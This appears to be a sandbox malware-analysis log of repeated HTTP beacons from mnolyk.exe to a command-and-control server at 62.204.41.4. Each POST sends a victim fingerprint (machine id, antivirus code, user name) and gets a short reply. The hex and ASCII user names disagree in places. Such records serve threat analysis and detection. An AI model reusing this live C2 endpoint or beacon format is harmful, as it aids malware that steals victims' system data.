Feb 6, 2023 18:37:51.394661903 CET	873	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:51.458302975 CET	873	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.7	50142	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:51.625961065 CET	874	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:51.692059994 CET	874	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.7	50143	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:51.857942104 CET	875	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:51.922130108 CET	875	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.2.7	50144	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:52.098501921 CET	876	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:52.165503025 CET	876	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.7	50145	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:52.348177910 CET	877	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:52.411082983 CET	877	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.2.7	50146	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:52.585656881 CET	878	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:52.649820089 CET	878	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.2.7	50147	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:52.828887939 CET	879	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:52.894197941 CET	879	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	49766	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:07.787301064 CET	474	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:07.852941990 CET	474	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.7	50148	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:53.070955992 CET	880	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:53.137356997 CET	880	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.2.7	50149	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:53.313477039 CET	881	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:53.377768040 CET	881	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.7	50150	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:53.545295000 CET	882	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:53.607392073 CET	882	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.2.7	50151	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:53.780648947 CET	883	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:53.843168974 CET	883	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.7	50152	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:54.029428005 CET	884	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:54.098175049 CET	884	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.2.7	50153	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:54.264448881 CET	885	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:54.327646971 CET	885	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.7	50154	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:54.498606920 CET	886	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:54.561449051 CET	886	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.2.7	50155	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:54.734216928 CET	887	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:54.797312021 CET	887	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.7	50156	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:54.967951059 CET	888	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:55.031579018 CET	888	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.2.7	50157	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:55.206070900 CET	889	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:55.272998095 CET	889	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	49767	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:08.035706997 CET	475	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:08.102848053 CET	475	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.7	50158	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:55.451858997 CET	890	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:55.515927076 CET	890	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.2.7	50159	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:55.686513901 CET	891	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:55.749275923 CET	891	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.7	50160	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:55.923634052 CET	892	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
